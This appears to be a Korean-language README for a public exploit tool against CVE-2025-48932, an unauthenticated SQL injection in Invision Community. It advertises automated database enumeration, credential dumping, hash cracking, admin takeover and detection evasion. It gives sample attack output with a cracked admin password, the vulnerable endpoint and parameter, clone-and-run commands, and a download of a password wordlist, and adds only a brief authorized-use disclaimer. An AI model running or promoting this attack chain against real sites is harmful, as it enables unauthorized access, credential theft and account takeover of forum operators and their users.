
CVE-2025-48932 - Invision Community ≤ 4.7.20에 대한 인증되지 않은 SQL 인젝션 익스플로잇. 데이터베이스 열거, 자격 증명 덤프, 관리자 탈취, 세션 하이재킹 및 멀티스레딩을 통한 완전 자동화된 익스플로잇. 종속성 없음. Sudeepa Wanigarathna의 보안 연구 도구.
CVE-2025-48932은 Invision Community 버전 ≤ 4.7.20에서 발견된 심각한 수준의 인증되지 않은 블라인드 SQL 인젝션 취약점입니다. 이 익스플로잇을 통해 원격 공격자는 다음을 수행할 수 있습니다:
| 기능 | 설명 | 상태 |
|---|---|---|
| 🚀 제로 종속성 | 순수 Python 표준 라이브러리 - pip 설치 불필요 | ✅ |
| ⚡ 멀티 스레드 | 구성 가능한 스레드로 초고속 데이터 추출 | ✅ |
| 🤖 완전 자동화 | 탐지부터 보고까지의 완전한 공격 체인 | ✅ |
| 👑 관리자 탈취 | 세션 하이재킹 및 권한 상승 | ✅ |
| 🔑 자격 증명 덤프 | 사용자, 비밀번호 해시, 이메일 추출 | ✅ |
| 🔓 비밀번호 크래킹 | 워드리스트를 지원하는 내장 해시 크래킹 | ✅ |
| 📋 JSON 보고 | 분석 및 문서화를 위한 구조화된 출력 | ✅ |
| 🔌 프록시 지원 | Burp Suite 및 사용자 지정 프록시 통합 | ✅ |
| 🎨 컬러 출력 | 진행 표시기가 포함된 보기 좋은 터미널 출력 | ✅ |
| 🛡️ 속도 제한 | 탐지 회피를 위한 내장 지연 | ✅ |
$ python3 exploit.py -u https://vulnerable-site.com -v
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2025-48932 - Invision Community SQL Injection ║
║ Author: Sudeepa Wanigarathna ║
║ Critical: Unauthenticated Remote Code Execution ║
╚══════════════════════════════════════════════════════════════════╝
[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!
[*] Enumerating database information...
[+] Database Information:
Version: 10.4.32-MariaDB
User: invision@localhost
Database: invision_community
Hostname: localhost
Basedir: /usr/
Datadir: /var/lib/mysql/
[*] Enumerating databases...
[+] Found 5 databases
Found: information_schema
Found: invision_community
Found: mysql
Found: performance_schema
Found: phpmyadmin
[*] Enumerating tables in invision_community...
[+] Found 12 tables
Found: core_members
Found: core_sessions
Found: admin_members
Found: cms_categories
Found: forums_posts
...
[*] Searching for credentials...
[+] Found credential table: core_members
Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...
[*] Extracting admin information...
[+] Admin Information Found:
name: admin
email: [email protected]
id: 1
password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...
[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!
[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!
[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json
{
"target": "https://vulnerable-site.com",
"timestamp": "2026-08-02T12:34:56.789Z",
"vulnerable": true,
"database": {
"version": "10.4.32-MariaDB",
"user": "invision@localhost",
"database": "invision_community",
"hostname": "localhost"
},
"databases": [
"information_schema",
"invision_community",
"mysql",
"performance_schema",
"phpmyadmin"
],
"tables": [
"core_members",
"core_sessions",
"admin_members"
],
"credentials": [
{
"username": "admin",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
"email": "[email protected]"
}
],
"admin_info": {
"name": "admin",
"email": "[email protected]",
"id": "1",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
},
"summary": {
"total_databases": 5,
"total_tables": 12,
"total_credentials": 3,
"vulnerable": true,
"successful": true
}
}
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit
# No dependencies to install! Just run it.
# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only
# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v
# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v
# Save results to custom file
python3 exploit.py -u https://example.com -o results.json
# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10
# Dump all available data
python3 exploit.py -u https://example.com --dump-all
# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v
# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json
# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug
✅ No external dependencies!
✅ Pure Python standard library only!
✅ No pip install or virtual environment needed!
# Download popular wordlist
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
/applications/calendar/modules/front/calendar/view.phpIPS\calendar\modules\front\calendar\view::search()location (사용자 제공 입력)GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]
이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다.
이 도구를 사용함으로써 다음 사항에 동의하게 됩니다:
컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
| 인수 | 설명 | 예시 |
|---|---|---|
-u, --url | 대상 URL (필수) | -u https://example.com |
-p, --proxy | 프록시 URL | -p http://127.0.0.1:8080 |
-t, --threads | 스레드 수 (기본값: 5) | -t 10 |
-o, --output | 결과 출력 파일 | -o results.json |
-v, --verbose | 상세 출력 활성화 | -v |
--check-only | 취약점만 확인 | --check-only |
--dump-all | 사용 가능한 모든 데이터 덤프 | --dump-all |
--wordlist | 크래킹용 워드리스트 파일 | --wordlist rockyou.txt |